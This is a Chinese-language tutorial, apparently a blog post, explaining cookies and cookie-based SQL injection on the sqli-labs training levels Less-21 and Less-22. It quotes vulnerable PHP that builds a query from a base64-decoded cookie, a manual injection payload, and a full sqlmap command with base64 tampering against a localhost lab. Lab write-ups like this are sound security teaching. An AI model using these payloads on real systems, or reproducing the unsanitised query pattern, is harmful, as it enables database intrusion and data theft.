什么是cookie:
Cookies:确定身份,在服务器产生,存储在客户端的一小段文本信息,格式为字典(键值对)
cookie分类:
会话级;保存在内存,浏览器关闭则丢失
持久级:保存至硬盘,只有 当失效时间到了才会清除(一般都是持久化比较多)
打开开发者模式可以进行查看
cookie如何实现鉴权:在客户端第一次访问服务器的时候就会产生cookie,通过响应头以Set-Cookie字段传输到客户端,客户端从第2次到第n次请求都会带上cookie。
抓包查看cookie,这里我使用sqli-labs less21做演示
进行登录,抓包:
发现并没有cookie的相关数据包,但是当我们登录后再次进行操作就会看到请求头中多了cookie
为了进一步了解,我们可以查看源码:
126
$cookee = $_COOKIE['uname']; //$_COOKIE[]是PHP用来接收cookie的方法
144
$cookee = base64_decode($cookee);
说明服务器在接受cookie后会对cookie做base64解密,以此可以断定这关的cookie是使用base64编码的
146
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
发现解码后的cookee与数据库做了交互,并且可以断定此处为cookie注入
此时我们就可以构造payload了
-1') and 1=1 order by 3#
把编码后得到的payload传入数据包中即可
后面的步骤就是联合查询注入了,只是多了编码的步骤
less-22
sqli第22关与前一关差不多,只是它的闭合得用双引号",所以就直接使用sqlmap跑了
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-22/index.php" --batch --cookie="uname=YWRtaW4%3D"* --tamper=base64encode --threads=7 --dbms=mysql
首先使用-u “url” 指定url目标,然后是--cookie=“参数”,告诉sqlmap对cookie参数进行测试。这个参数后面的* 代表只对cookie进行测试。(节省时间)
--batch 对测试过程中出现的执行选项选择默认选项。
--level=3 该选项可以不添加,因为已经指定了cookie参数了。
--dbms MySQL 只检测MySQL数据库,因为sqli-labs的数据库环境是mysql 为了测试的时候节省时间。
----tamper=base64encode 使用sqlmap自带的绕过脚本,前面提到cookie进行了base64加密,所以这里也得使用base64进行加密